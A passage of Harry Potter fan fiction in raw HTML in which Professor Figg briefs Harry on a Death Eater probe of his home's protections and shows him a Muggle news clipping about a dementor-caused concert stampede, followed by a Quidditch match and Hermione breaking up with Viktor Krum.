it get leaked to <i>The Daily Prophet</i> or have someone send an owl to Viktor.&nbsp; Instead she was going to pretend that all was fine between them, until she had the chance to break up with him in person.</p>\n\n<p>The rest of the Christmas holidays seemed to fly by.&nbsp; Hermione insisted that they use that time to work on their O.W.L. preparation.&nbsp; Harry started feeling like his brain was going to explode with all the information that she was stuffing inside it.&nbsp; He now wished that they could take the exams in January, because he was afraid of forgetting everything by the time June rolled around.</p>\n\n<p>Harry was also worried about <st1:street><st1:address>Privet Drive</st1:address></st1:street>, Sirius and Professor Figg.&nbsp; The day that the students were due to return on the Hogwarts Express, Harry saw that Professor Figg had already arrived.&nbsp; She came up to him at breakfast at the Great Hall and quietly said she&#8217;d like to speak with him privately in her office.</p>\n\n<p>As he entered her office, he felt like his stomach was tied in knots.</p>\n\n<p>&#8220;So, Harry.&nbsp; How are you?&#8221; she asked while she gently tugged at an earlobe.</p>\n\n<p>&#8220;Umm, I&#8217;m fine,&#8221; he replied pushing up his glasses.&nbsp; &#8220;What happened that night?&#8221;</p>\n\n<p>&#8220;Have a seat Harry.&nbsp; It&#8217;s a long story.&#8221;</p>\n\n<p>Harry sat down and looked at her nervously.</p>\n\n<p>&#8220;Well, Sirius and I were watching outside.&nbsp; He brought along his parchment that he made of the <st1:street><st1:address>Privet Drive</st1:address></st1:street> security zone.&nbsp; As we stood guard outside, he had one paw holding onto the map.&nbsp; He noticed that there were alarms going off.&nbsp; He also saw the figures of Lilith and Cain Lestrange were on the edge of the Zone.&#8221;</p>\n\n<p>Harry swallowed hard.&nbsp; &#8220;Then what happened?&#8221; </p>\n\n<p>&#8220;Sirius barked and told me that he had to go back and that you and Hermione needed to return here immediately.&nbsp; He had used a Portkey to travel to the Burrow.&nbsp; So he returned to the Zone by Portkey.&#8221;</p>\n\n<p>&#8220;How come he didn&#8217;t just Apparate?&#8221;</p>\n\n<p>&#8220;Well&#8230;you see, the Ministry keeps close tabs on Apparitions.&nbsp; We wouldn&#8217;t want to risk bringing Sirius on their radar screens by him Apparating.&#8221;</p>\n\n<p>&#8220;Oh,&#8221; said Harry as he was trying to digest that thought.</p>\n\n<p>&#8220;Anyway, Remus had been with Fletcher at my house and he had already left to respond when Sirius arrived.&nbsp; Remus had to run the few blocks to get to where the Lestranges were.&nbsp; Sirius arrived there just moments before him, because it was close to where he had activated the Portkey.&nbsp; The really bad part was that it was no longer just the Lestranges.&#8221;</p>\n\n<p>&#8220;Was Voldemort there?&#8221; Harry asked with dread.</p>\n\n<p>&#8220;No.&nbsp; It was Pettigrew.&nbsp; Sirius and Remus both called out hexes to Stupefy.&nbsp; Cain and Lilith had Disapparated immediately when they saw Remus coming.&nbsp; Pettigrew however, transformed and ran away,&#8221; she said sighing heavily.</p>\n\n<p>&#8220;Do you think that Pettigrew&#8230;&#8221; he began.</p>\n\n<p>She nodded.&nbsp; &#8220;We think he may have recognized Sirius.&nbsp; I mean, it was night and it was dark.&nbsp; Sirius&#8217;s disguise works for people to see him close up.&nbsp; But Pettigrew would have seen him from a distance and if he saw his build and heard his voice calling out the hex&#8230;Sirius was also with Remus.&nbsp; It&#8217;s doubtful that even Pettigrew wouldn&#8217;t have put it all together.&nbsp; That&#8217;s what really worries me,&#8221; she said and then placed her face in her hands.</p>\n\n<p>&#8220;I&#8217;m sorry,&#8221; said Harry.&nbsp; &#8220;Is Sirius going to have to leave there?&#8221;</p>\n\n<p>&#8220;I don&#8217;t know yet.&nbsp; I&#8217;m hoping not.&nbsp; It may be that Voldemort just wanted to test the security measures.&nbsp; He may decide it&#8217;s too risky and not try again soon.&nbsp; I also worry they&#8217;ll tip off the Ministry to look for Sirius in Little Whinging.&nbsp; Then again maybe Voldemort wants him around to deflect attention away from himself and his efforts to regroup,&#8221; she sighed heavily.&nbsp; &#8220;My house is still probably the safest place for Sirius.&nbsp; I also don&#8217;t know anyone else who can speak with my sentries and provide the same level of surveillance when I&#8217;m not there.&nbsp; But now he won&#8217;t be able to leave the Zone at all.&nbsp; Not even for short errands.&nbsp; Just in case there&#8217;s any Ministry personnel out and about looking for him.&nbsp; If he stays within the Zone, he can always watch the map and the monitor.&nbsp; If someone from the Ministry comes looking for him he can always escape by Floo.&nbsp; So for now, he&#8217;ll have to have all his groceries delivered.&#8221;</p>\n\n<p>&#8220;Professor Dumbledore said there were a few enchantments that were destroyed?&#8221;</p>\n\n<p>&#8220;Yes, that&#8217;s what set off the alarms.&nbsp; The Lestranges were trying to destroy the Anti-Apparition charms that surround the Zone.&nbsp; They wanted to be able to come into your neighborhood and leave quickly by Disapparating.&nbsp; Thankfully, I have so many redundant enchantments and monitors that it would take them many hours to locate and destroy them all.&nbsp; Unfortunately they killed one of my Kneazles who was the first to respond to the alarms.&#8221;</p>\n\n<p>&#8220;Wait a minute.&nbsp; You said you were worried about Sirius Apparating.&nbsp; How could the Lestranges Disapparate and not have the Ministry come after them?&#8221; Harry asked.</p>\n\n<p>&#8220;They could Disapparate because they were on the outside perimeter of the Zone.&nbsp; As for why the Ministry hasn&#8217;t come forth and admitted that the Lestranges are alive and well and Apparating?&nbsp; That&#8217;s the million galleon question isn&#8217;t it?&nbsp; I believe it&#8217;s because the Department of Magical Transportation has probably been infiltrated with Voldemort&#8217;s supporters.&nbsp; They are not interested in following up leads to the Azkaban Five who escaped, but they&#8217;ll certainly want to track down Sirius who they continue to make into their poster child,&#8221; she said muttering.</p>\n\n<p>&#8220;How come you had to stay there so long?&#8221;</p>\n\n<p>&#8220;Well, I had to replace the enchantments and I needed to train two new Kneazles.&nbsp; I brought Tufty here with me and hadn&#8217;t replaced him.&nbsp; Then when Mr. Tibbles was killed, it was vital that the full number of Kneazles were present to provide protection.&nbsp; Besides that, I wanted to be around in case there were any further attacks.&nbsp; Luckily, there weren&#8217;t.&nbsp; I am still worried about his safety and whether or not they&#8217;ll try to come after him.&nbsp; But they may not realize he&#8217;s like a spider just waiting for something to land in his web before he attacks.&nbsp; If Sirius is ever in peril, you&#8217;ll know because your amulet will start heating up.&#8221;</p>\n\n<p>Harry nodded solemnly fingering the amulet around his neck.</p>\n\n<p>&#8220;Oh and another thing,&#8221; Professor Figg said with a laugh in her voice.&nbsp; &#8220;I must tell you that the Nadine repellent works wonderfully.&nbsp; Of course when I yanked a handful of hair off her head that alone may have been sufficient for her to get the idea that &#8216;Joseph&#8217; was to be left alone.&nbsp; Since I spent the holidays there, she saw me several times.&nbsp; She would immediately turn about face and high tail it away from wherever I was.&nbsp; I don&#8217;t think she&#8217;ll pose a problem for us anymore.&#8221;</p>\n\n<p>&#8220;That&#8217;s good,&#8221; Harry said.</p>\n\n<p>&#8220;Yes, I am happy about <i>that</i> turn of events and that I was able to spend some time with your godfather.&nbsp; I wish we didn&#8217;t have to be apart, but sometimes these things can&#8217;t be helped,&#8221; she sighed.&nbsp; Then her face grew serious.&nbsp; &#8220;There&#8217;s something else that I thought you should know about.&nbsp; This was in the Muggle press.&#8221;</p>\n\n<p>She brought out a newspaper clipping from <i>The (</i><st1:city><st1:place><i>London</i></st1:place></st1:city><i>) Guardian</i> and handed it to him.</p>\n\n<b>Thirteen trampled to death at rock concert</b><br>\n\n\n<i>By Craig Pallas</i><br>\n\n\n<p><b></b></p>\n\n<p><b>Last night at Wembley Stadium, Ozzy Osbourne performed in front of a sold out crowd.&nbsp; During the second encore, something spooked the crowd and they began to stampede.&nbsp; Thirteen people were crushed to death as a throng of people started running away from the stage.</b></p>\n\n<p><b>No one could explain what caused the hysteria and mass exodus of people.</b></p>\n\n<p><b>One concert goer who identified himself only as &#8220;Blade&#8221; remarked that, &#8220;Everything was great and then I felt like I was plunged into ice water.&nbsp; All of a sudden I was filled with utter despair.&nbsp; Then people around me started screaming, pushing and running.&nbsp; It was chaos.&#8221;</b></p>\n\n<p><b>Pete Townsend of The Who called Osbourne to offer his condolences.</b></p>\n\n<p><b>&#8220;That was quite decent of Pete,&#8221; said Osbourne.&nbsp; &#8220;He had something similar happen about fifteen years ago in </b><st1:city><st1:place><b>Cincinnati</b></st1:place></st1:city><b>.&nbsp; So he called to offer his support.&#8221;</b></p>\n\n<p><b>This tragedy in fact was greater than the eleven people who died in December of 1979 in that </b><st1:state><st1:place><b>Ohio</b></st1:place></st1:state><b> city.&nbsp; The blame for that fatal evening was placed on the festival seating arrangements, which means that there were no reserved seats.&nbsp; This led to the crowd rushing the stage as soon as the doors opened in order to get prime viewing spots.</b></p>\n\n<p><b>Last night&#8217;s disaster is expected to result in a full inquiry by the local authorities as well as the concert industry.</b></p>\n\n<p><b>Osbourne</b><b> announced that he was cancelling his concerts for the next two weeks out of respect for the dead.&nbsp; His promoters however, did not rule out the possibility of rescheduling these concerts in the future.</b></p>\n\n<p><b>One other unexplained aspect of the concert was a special effect that Osbourne and his crew deny any knowledge of.&nbsp; Shortly after it was realized that there were casualties, a mysterious glowing skull appeared in the air above the audience.&nbsp; A green snake then emerged from its mouth.&nbsp; </b></p>\n\n<p><b>This grotesque image caused a new wave of panic in the crowd and is blamed for the death count being as high as it is.&nbsp; Additionally at least seventy people were treated at local hospitals for minor injuries.</b></p>\n\n<p><i></i></p>\n\n<p>Harry looked up at Professor Figg.</p>\n\n<p>&#8220;Dementors,&#8221; he said flatly.</p>\n\n<p>She nodded.&nbsp; &#8220;They haven&#8217;t had much opportunity in <st1:country-region><st1:place>Britain</st1:place></st1:country-region> in the last few years to attack crowds of people, but it&#8217;s certainly recognizable if you can read the signs.&nbsp; Globally it happens mostly at football games and of course the running of the bulls in <st1:place><st1:city>Pamplona</st1:city>, <st1:country-region>Spain</st1:country-region></st1:place> each year.&#8221;</p>\n\n<p>&#8220;What about the Dark Mark?&nbsp; How come <i>The Daily Prophet</i> hasn&#8217;t picked up on this?&#8221; Harry asked.</p>\n\n<p>&#8220;I don&#8217;t think they follow what happens in the Muggle world too closely.&nbsp; If they did cover this story, I&#8217;m afraid of the angle they&#8217;d take.&#8221;</p>\n\n<p>&#8220;Why?&#8221;</p>\n\n<p>&#8220;They&#8217;d get a quote from some official at the Ministry and I&#8217;m sure they&#8217;d use it once again to point blame at Sirius.&nbsp; Denying the painfully obvious conclusion,&#8221; she said shaking her head.</p>\n\n<p>Harry now sighed heavily.&nbsp; &#8220;Can I show this to Ron and Hermione?&#8221;</p>\n\n<p>Professor Figg considered it and then shook her head.&nbsp; &#8220;I&#8217;m sorry Harry, but I don&#8217;t think that&#8217;s wise.&nbsp; They&#8217;d ask you where you found out about this and we can&#8217;t risk them knowing how close we are.&#8221;</p>\n\n<p>&#8220;But, they know there was Death Eater activity on Christmas Eve.&nbsp; What&#8217;s wrong with you sharing this with me?&nbsp; After all, everyone knows that Voldemort is after me.&nbsp; Why wouldn&#8217;t you share something that you thought might help me stay alive?&nbsp; They won&#8217;t suspect that you&#8217;ve been in charge of my security for years or that Sirius is staying at your house.&nbsp; Believe me, they won&#8217;t tell anyone about the dementors.&nbsp; Please, I just need to share some things with them,&#8221; he pleaded.</p>\n\n<p>She looked at him carefully and then her face softened.&nbsp; &#8220;Okay, Harry.&nbsp; You can show them this article.&nbsp; But don&#8217;t tell them about the Lestranges or Pettigrew.&nbsp; That&#8217;s classified.&#8221;</p>\n\n<p>&#8220;Umm, Professor Figg?&nbsp; Does Professor Dumbledore know about you and Sirius?&#8221;</p>\n\n<p>&#8220;He may have his suspicions, but he has never asked.&nbsp; Same thing with Fletcher,&#8221; she said with a sly smile.</p>\n\n<p>&#8220;Am I the <i>only one</i> who knows you two are a couple?&#8221; Harry asked.</p>\n\n<p>&#8220;Well, Remus now knows about me and Sirius.&nbsp; After the crisis passed and Fletcher went home, the three of us were discussing the turn of events.&nbsp; Poor Remus.&nbsp; He showed the tiniest signs of interest towards me, then Sirius nearly bit his head off.&nbsp; So, umm, he quickly became aware that I was not available,&#8221; she said slyly.&nbsp; </p>\n\n<p>Harry smiled at the thought of his godfather becoming protective of her.&nbsp; </p>\n\n<p>&#8220;Harry, your hair is getting a little long.&nbsp; Would you like me to give you a trim?&#8221; she asked.</p>\n\n<p>&#8220;No, I decided to let my hair grow.&nbsp; That&#8217;s what real wizards do.&nbsp; Besides,&#8221; he said grinning, &#8220;my Aunt Petunia has always hated my hair.&nbsp; I can&#8217;t wait to see what she&#8217;ll say if I start sporting hair long enough to be in a pony tail.&#8221;</p>\n\n<p>&#8220;You sure?&#8221;</p>\n\n<p>&#8220;Positive.&#8221;&nbsp; Harry started thinking about Bill Weasley.&nbsp; &#8220;I wonder what she&#8217;d say if I came home with an earring.&#8221;</p>\n\n<p>Professor Figg had just started taking a drink of water when she heard that and wound up spitting it all over her desk.</p>\n\n<p>&#8220;Harry, do you want to give her an aneurysm?&#8221; she asked while wiping up the spilled water.&nbsp; &#8220;Teenagers,&#8221; she muttered.</p>\n\n<p>&#8220;I had one more question, Professor Figg.&nbsp; Did you ever find out anything about Mrs. Norris?&#8221;</p>\n\n<p>&#8220;There&#8217;s nothing that I can share with you at this time, Harry.&#8221;</p>\n\n<p>Harry nodded and left her office.&nbsp; He found himself deep in thought about Sirius, dementors, Death Eaters and a mysterious cat.</p>\n\n<p>*</p>\n\n<p>Harry waited until dinnertime when Ron had arrived back to tell his two best friends about the fatal rock concert and the link to dementors and Voldemort.</p>\n\n<p>&#8220;Whoa,&#8221; said Ron with a low voice.&nbsp; &#8220;I just wish that I could tell Percy about this.&nbsp; Except that it wouldn&#8217;t do any good.&nbsp; He&#8217;d just dismiss it and try to shift blame elsewhere.&nbsp; He only sees what he wants to see.&nbsp; Sort of like when I gave him a reading and he thought it meant that he is destined to become Minister of Magic someday.&#8221;</p>\n\n<p>&#8220;What <i>did</i> you see?&#8221; asked Hermione.</p>\n\n<p>&#8220;Well, I saw two images of Percy.&nbsp; One where he was alone but very successful.&nbsp; The other where he was surrounded by family.&nbsp; It looked to me like he had a choice to make.&nbsp; He could either choose a path of concentrating solely on his career advancement and sacrifice a personal life or he could choose a family life and a lowered career goal.&#8221;</p>\n\n<p>&#8220;Sounds sort of like Ebeneezer Scrooge,&#8221; she said.</p>\n\n<p>&#8220;Who?&#8221; Ron asked.</p>\n\n<p>&#8220;Scrooge.&nbsp; He&#8217;s the mean old miser in Charles Dickens&#8217; <i>A Christmas Carol</i>.&nbsp; He&#8217;s alone, unloved, greedy and despised by everyone.&nbsp; He&#8217;s given visits by three ghosts the night before Christmas and he is reminded that he was once young and in love.&nbsp; Except that he chose money over love.&nbsp; Ron,&#8221; Hermione said sounding exasperated, &#8220;some things become classics because they really are good.&nbsp; This is one of them.&nbsp; You really should read it, even if it is Muggle literature.&#8221;</p>\n\n<p>Ron shook his head at her sadly.&nbsp; &#8220;Percy really worries me.&nbsp; He seems obsessed with advancement.&nbsp; It almost seems&#8230;&#8221; Ron said as he cast a look over at Malfoy, &#8220;Slytherinish.&#8221;</p>\n\n<p>&#8220;How was the rest of your holiday at home?&#8221; Hermione asked. </p>\n\n<p>Ron rolled his eyes.&nbsp; &#8220;Oh it was <i>just lovely</i>.&nbsp; I wish I had stayed here instead.&nbsp; But I think Mum knew that Percy and Penny were going to announce their engagement.&nbsp; That&#8217;s why she made sure everyone was home.&nbsp; At least the next night, Percy was over at the Clearwaters, so we didn&#8217;t have any arguments on Christmas Day.&#8221;</p>\n\n<p>&#8220;How are your parents and Percy getting on these days?&#8221; Harry asked.</p>\n\n<p>&#8220;It&#8217;s pretty dicey.&nbsp; They haven&#8217;t argued since, but they don&#8217;t really speak to one another right now.&nbsp; It&#8217;s this strange atmosphere where everyone is dancing around a subject too painful to bring up.&nbsp; He did start looking for a flat to move into.&#8221;</p>\n\n<p>&#8220;He&#8217;s moving out?&#8221; Hermione asked sounding surprised.</p>\n\n<p>&#8220;Oh yeah.&nbsp; My dad told him that he needed to move out on Christmas Eve.&nbsp; That was right before you and Harry left.&nbsp; I&#8217;m surprised you didn&#8217;t hear them.&#8221;</p>\n\n<p>She shook her head.</p>\n\n<p>&#8220;Hermione, Harry, I want to apologize to you for my family&#8217;s behaviour.&nbsp; They shouldn&#8217;t have acted that way.&nbsp; I&#8217;m sorry you two had to see that.&#8221;</p>\n\n<p>&#8220;That&#8217;s okay, Ron.&nbsp; Believe me, if you had come over to my aunt and uncle&#8217;s house it wouldn&#8217;t have been a walk in the park either,&#8221; Harry said. </p>\n\n<p>Later that night Harry wanted to finish his Divination homework. &nbsp;He talked both Ron and Neville into letting him do readings for them.</p>\n\n<p>&#8220;I wish that I had known that I only had to do three readings.&nbsp; If I hadn&#8217;t done that one for my mum, the dinner might have gone better.&nbsp; Instead, I stirred up the wrath of Mum,&#8221; Ron grumbled.</p>\n\n<p>Harry still had a little of the special tea left and they sat in a quiet corner of the Gryffindor common room for the readings.&nbsp; He saw a strange image of Ron looking like he was slowly emerging from what looked like a cocoon, while Neville was surrounded by many long and dark shadows.</p>\n\n<p>&#8220;Thanks, for letting me do a reading for you Neville.&nbsp; How was your holiday?&#8221; asked Harry.</p>\n\n<p>&#8220;It was okay, I guess.&nbsp; I started asking Gran questions about my parents.&nbsp; Professor Figg wants me to learn more about them, to help jog my memory.&nbsp; Anyway, I did get my Gran to go into their room and bring out a few of their things.&nbsp; She gave me Mum&#8217;s favourite perfume and my dad&#8217;s old pipe with some tobacco.&nbsp; She wasn&#8217;t too happy about that or that I was asking any questions at all about them.&nbsp; I don&#8217;t understand her,&#8221; Neville said sounding perplexed.&nbsp; &#8220;I mean, Dad was her son after all and she keeps harping about the family honour.&nbsp; Yet she didn&#8217;t want to talk about them at all.&nbsp; She&#8217;s just an odd old bird.&#8221;</p>\n\n<p>&#8220;Well, no one&#8217;s got the corner on odd relatives,&#8221; Harry said reassuringly.</p>\n\n<p>Neville nodded.</p>\n\n<p>&#8220;Hey Neville, I learned some new concentration techniques over the summer that have really helped me in Transfiguration.&nbsp; Would you like me to show you?&#8221;</p>\n\n<p>&#8220;Yeah, that would be great Harry,&#8221; Neville said sounding relieved.&nbsp; &#8220;Let&#8217;s go upstairs I could really use the help.&#8221;</p>\n\n<p>*</p>\n\n<p>As Valentine&#8217;s Day approached Hermione started to get visibly tense.&nbsp; She worried about how to mark the holiday with Krum.&nbsp; The next Hogsmeade weekend was still over a week away.&nbsp; She didn&#8217;t want to send him gifts that might lead him on, but she was also afraid to ignore the holiday.</p>\n\n<p>She wound up sending him a plain red valentine card that said simply, &#8220;Viktor, Happy Valentine&#8217;s Day &#8211; Hermione.&#8221;&nbsp; No hearts, no lace, no promises of undying love.&nbsp; It was short and simple.&nbsp; She hoped her understatement might also send him a subtle clue that she was not head over heels in love with him.</p>\n\n<p>Krum on the other hand, showered her with gifts.&nbsp; It took four owls to deliver everything to her.&nbsp; One owl brought her a large heart shaped box of chocolates.&nbsp; Two more owls brought her a dozen long stemmed red roses and a fourth delivered a large card with a written letter inside.&nbsp; Ron&#8217;s face darkened as he saw the deluge of gifts pile up in front of Hermione at the dining table.</p>\n\n<p>&#8220;Excuse me,&#8221; he said as he abruptly left the table.</p>\n\n<p>Hermione looked distinctly embarrassed as people throughout the Grand Hall were remarking about her gifts.&nbsp; As she started reading the letter from Krum her face grew pale.</p>\n\n<p>&#8220;What is it?&#8221; Harry asked.</p>\n\n<p>She leaned over and whispered in his ear, &#8220;He wants to take our relationship to <i>the next level.</i>&#8221; </p>\n\n<p>Harry looked at her.&nbsp; She had shut her eyes and was shaking her head slowly, &#8220;I can&#8217;t wait until this is all over.&#8221;</p>\n\n<p>&#8220;Do you know what you&#8217;re going to say to him?&#8221; asked Harry.</p>\n\n<p>&#8220;Yeah, I think so.&nbsp; It&#8217;s not going to be easy,&#8221; she sighed.</p>\n\n<p>&nbsp;</p>\n\n<p>*</p>\n\n<p>That Saturday marked the second Quidditch match for Gryffindor.&nbsp; This time they would be playing against Hufflepuff.&nbsp; Harry had been very impressed with how the Hufflepuff team had played against Ravenclaw in December.&nbsp; They had been inspired by the defensive moves that Gryffindor had used against Slytherin and tried copying them.&nbsp;&nbsp; Hufflepuff had played a very fast and tight defensive game.&nbsp; They had been leading 70-10 when Cho Chang caught the Golden Snitch, ending the game and causing Ravenclaw to win 160-70.</p>\n\n<p>The biggest difference with this upcoming game was that for the first time since Harry started school, all the houses were united in cheering <i>against</i> Gryffindor.&nbsp; Ravenclaw was trailing Gryffindor by only thirty points in overall ranking and was hoping that a Hufflepuff win would help them in their quest for the Quidditch Cup.&nbsp; Slytherin was also rooting for Hufflepuff mostly because of the long-standing enmity between them and Gryffindor.&nbsp; This hadn&#8217;t been helped by the Slytherin House&#8217;s humiliating defeat by Gryffindor in November.</p>\n\n<p>Harry had been practicing his team extra hard in the last two weeks before their match.&nbsp; The closer the match came, the more anxious everyone became.&nbsp; The competition between Ron and Dean for who would play as Keeper became intense.&nbsp; In the end, Dean narrowly edged Ron for the right to suit up for this game.</p>\n\n<p>Harry had tried to cheer his best friend up by asking that Ron use his new camera to take pictures of the game and of the team.&nbsp; Ron happily agreed and took many candid shots of his teammates as well as snapshots during the game.&nbsp; He took one of his twin brothers who had their clubs raised in the air over their heads and their faces had nasty grimaces on them.</p>\n\n<p>As the Hufflepuffs took to the field, Harry felt a touch of sadness.&nbsp; They were all wearing black armbands on the outside of their uniforms in remembrance of their late captain Cedric Diggory who should have been in his seventh year.&nbsp; Harry hadn&#8217;t noticed the armbands before because from a distance they weren&#8217;t visible since they blended in with their yellow and black uniforms.&nbsp; He shook hands silently with Justin Finch-Fletchley their new Keeper and captain.</p>\n\n<p>The game was just as Harry had predicted it would be, fast and furious.&nbsp; After an hour of rough and tumble play, the game was tied 40-40.&nbsp; Both Dean and Justin had made some spectacular saves and the crowd had gone hoarse with cheering.&nbsp; The Gryffindors once again used the Queen sports anthem of &#8220;We Will Rock You&#8221; while the Hufflepuffs had invented their own cheer along with using foot stomps and clapping.&nbsp; The raucous sounds from the crowd had drowned out any commentary by Lee Jordan.&nbsp; The addition of hockey masks to the Keeper&#8217;s uniform now seemed to be a normal feature to the game after Justin had worn one in his last outing.&nbsp; Dean did follow Harry&#8217;s request and repainted his mask to have the Gryffindor mascot of a lion&#8217;s face on it.</p>\n\n<p>Harry had been carefully scanning the field looking for the Golden Snitch when he saw Hannah Abbott the new Hufflepuff Seeker start to dive after the glittering ball.&nbsp; Hannah was still quite new and not as skilled a flyer as Harry or Cho.&nbsp; She also only had a Comet Two-Sixty, which was no match against Cho&#8217;s new Nimbus 2001 or Harry&#8217;s Firebolt.&nbsp; He zoomed in the direction of the Snitch and quickly flew past Hannah and seized the struggling ball.&nbsp; The Hufflepuff team all stopped to offer their heartfelt congratulations to the Gryffindor team as the Gryffindor stand exploded with cheers.</p>\n\n<p>During the party in the common room, Ron told Harry about a shop in Diagon Alley where he could send his the roll of film off to and could get the pictures back in about a week.&nbsp; Harry was thrilled at prospect of seeing his first wizarding photographs and sent Hedwig off the next day with the film, a short note and seven sickles to cover the cost of developing.</p>\n\n<p>*</p>\n\n<p>The next Saturday, Hedwig dropped a large envelope in front of Harry.&nbsp; He eagerly tore open the package in anticipation of seeing how the pictures turned out.&nbsp; He grinned as he saw the first photograph with him wearing his Quidditch uniform. </p>\n\n<p>&#8220;How&#8217;d they turn out Harry?&#8221; asked Ron.</p>\n\n<p>&#8220;They look great.&nbsp; You took some awesome pictures.&#8221;</p>\n\n<p>&#8220;Let me see,&#8221; Ron said eagerly.</p>\n\n<p>Harry started handing over the ones he had looked through.&nbsp; As he worked his way through the stack his heart stopped.&nbsp; He came to the photo taken of him and Hermione at Christmas.&nbsp; He cringed as he saw the image of himself smiling at the camera and then turning to look at Hermione&#8217;s chest.&nbsp; He was horrified that his subtle glance at her neckline was caught on film.</p>\n\n<p>&#8220;Harry is that the picture of us at Christmas?&#8221; Hermione asked.</p>\n\n<p>&#8220;Uh, yeah.&nbsp; It didn&#8217;t turn out,&#8221; he said quickly.</p>\n\n<p>&#8220;Can I see it?&#8221; she asked.</p>\n\n<p>&#8220;No, it looks really bad,&#8221; he said as he stuffed it inside a robe pocket.</p>\n\n<p>&#8220;Har-reee, let me see it,&#8221; she demanded.</p>\n\n<p>&#8220;No, um, the levitation charm made it all fuzzy.&nbsp; You don&#8217;t want to see it.&nbsp; But here are the pictures I took of you.&nbsp; They turned out really well,&#8221; he said handing them to her while trying to hide the flush in his cheeks.</p>\n\n<p>&#8220;Hey Hermione, you look&#8230;very pretty,&#8221; Ron said admiringly as he looked over her shoulder.</p>\n\n<p>&#8220;Thanks Ron,&#8221; she said.</p>\n\n<p>&#8220;It&#8217;s almost time to go to Hogsmeade.&nbsp; I have to get something from my room.&nbsp; I&#8217;ll meet you guys at the gate on the way there,&#8221; Harry said as he quickly left the dining table.</p>\n\n<p>Harry wanted to grab his Invisibility Cloak so he could stand by and watch over Hermione in case the break up with Krum turned nasty.&nbsp; He had already worked out the plan with her as to where he should stand guard.&nbsp; What she didn&#8217;t know was that Professor Figg was going to be joining him.&nbsp; She of course was there as Harry&#8217;s bodyguard, because he wasn&#8217;t planning on staying invisible the whole time.&nbsp; Besides getting his Invisibility Cloak, Harry wanted to stash that embarrassing picture as far down in his trunk as possible.&nbsp;&nbsp; </p>\n\n<p>Later when Harry met up with his friends from Gryffindor, he was able to split off from Ron easily.&nbsp; Since Ron&#8217;s birthday was coming up the next week, Harry simply told him that he wanted to get him a gift.&nbsp; Harry agreed to meet them later at the Three Broomsticks for a butterbeer.</p>\n\n<p>Once Harry left Ron, he went behind a building and brought out the Invisibility Cloak he had been hiding under his robe.&nbsp; Professor Figg met him and he put it over their heads and they walked over to the place Hermione had asked him to stand.&nbsp; She was already sitting on a bench with Krum outside of the Shrieking Shack.&nbsp; He was holding a large bouquet of flowers for her. </p>\n\n<p>&#8220;Viktor, I need to talk with you about something,&#8221; she began softly.</p>\n\n<p>&#8220;Vat is it, Herm-own-ninny?&#8221; Krum said as he smoothed the hair off her shoulders.</p>\n\n<p>She swallowed hard.&nbsp; &#8220;This has been bothering me for quite some time now.&nbsp; I don&#8217;t think I&#8217;ve been fair with you.&#8221;</p>\n\n<p>&#8220;Vy is zat?&#8221; he asked sharply.</p>\n\n<p>She sighed and continued.&nbsp; &#8220;I don&#8217;t share the same feelings for you that you have for me.&nbsp; I&#8217;ve always wondered, why you asked me to the Yule Ball.&nbsp; What attracted you to me?&nbsp; Was it because I didn&#8217;t fawn all over you like all the other girls?&#8221;</p>\n\n<p>&#8220;Vell, yes, you did stand out because of that.&#8221;</p>\n\n<p>&#8220;Well, when you asked me to the dance, I was very flattered that someone everyone in school admired wanted me to go with him.&nbsp; I didn&#8217;t say yes because I wanted to <i>go with you</i>.&nbsp; I said yes because I wanted to go to the dance and by going with you I&#8217;d be the envy of my school.&nbsp; Those are selfish reasons in my book.&nbsp; Then you started telling me how much you cared for me.&nbsp; You were kind, sweet and thoughtful towards me.&nbsp;&nbsp; All characteristics that I admire, except that I just don&#8217;t feel any different about you than before I met you.&nbsp; I just don&#8217;t feel a spark when I think of you.&#8221;</p>\n\n<p>Krum started to take one of the flowers and pulled the petals off.</p>\n\n<p>&#8220;When something exciting happens in my life,&#8221; she continued.&nbsp; &#8220;I should want to share that with my boyfriend but I don&#8217;t.&nbsp; I run to tell my best friends Ron and Harry, but as an afterthought I think to tell you in a letter a few days later.&nbsp; That is until you wanted me to write you every day.&nbsp; That was outrageous, because I didn&#8217;t have anything to tell you on a daily basis.&nbsp; You thought I was different from all the other girls, but I&#8217;m not.&nbsp; I&#8217;ve been dating you because I have been more concerned about how other people would see me than whether or not I liked being with you.&nbsp; I thought if I broke up with you that everyone would say I&#8217;m a fool.&nbsp; So I&#8217;ve stayed with you out of guilt and a sense of obligation.&nbsp; You deserve better, Viktor.&nbsp; You deserve to be with a girl that loves being with you.&nbsp; Not because you&#8217;re a famous Quidditch star or anything like that, but someone that loves Viktor Krum because of your kindness and your mournful soul.&nbsp; You deserve someone that loves you in return.&#8221;</p>\n\n<p>By this time the entire bouquet had been shredded in his hands.</p>\n\n<p>&#8220;It&#8217;s Harry Potter isn&#8217;t it?&nbsp; You&#8217;re in luff wiff him,&#8221; he spat.</p>\n\n<p>Harry&#8217;s heart skipped a beat when he heard his name.</p>\n\n<p>&#8220;Viktor this has nothing to do with Harry.&nbsp; It has to do with me.&nbsp; I&#8217;ve been feeling very uncomfortable for many months and I didn&#8217;t know what was wrong with me.&nbsp; Then I remembered what a friend of my mum and dad had said and I understood why I was feeling so bad.&nbsp; He had been married for close to twenty years and had three kids.&nbsp; To all outward appearances they were a happy family.&nbsp; Then one day his wife felt moved by their minister&#8217;s sermon about honesty and she felt she needed to tell her husband the truth and that&#8217;s what broke their marriage apart.&#8221;</p>\n\n<p>&#8220;Vas she cheating on him?&#8221; he said bitterly.</p>\n\n<p>&#8220;No.&nbsp; She told him that she had never loved him.&nbsp; She married him because when he proposed she thought that it might be the best offer she&#8217;d ever get.&nbsp; So she <i>settled</i> for him.&nbsp; She never loved him and <i>never grew to love him</i>.&nbsp; Not only was she in a loveless marriage, but so was her husband.&nbsp; He went into a marriage thinking that they were both in love when in reality he was being denied having a wife and partner that loved him.&nbsp; I don&#8217;t want that to happen to me or to you.&nbsp; And that&#8217;s why I&#8217;m breaking up with you.&#8221;</p>\n\n<p>Harry started thinking about Cho.&nbsp; She was just as honest with him and while it hurt, it was better than deceiving him.&nbsp; He now felt sorry for Krum for the first time.&nbsp; He understood the difficulty of trying to find someone who wanted to be with him because of who he was inside and not just because of his fame and notoriety.</p>\n\n<p>Krum&#8217;s mood darkened, &#8220;How long haff you felt zis way?&#8221;</p>\n\n<p>Hermione hesitated, &#8220;I started thinking of breaking up with you at Christmas, but I was afraid to.&nbsp; I didn&#8217;t want to ruin your holiday, so I went through the motions like I have ever since I met you.&nbsp; I didn&#8217;t think it would be fair to you to break up by owl post.&nbsp; I thought you deserved to hear this in person, that&#8217;s why I&#8217;m doing it 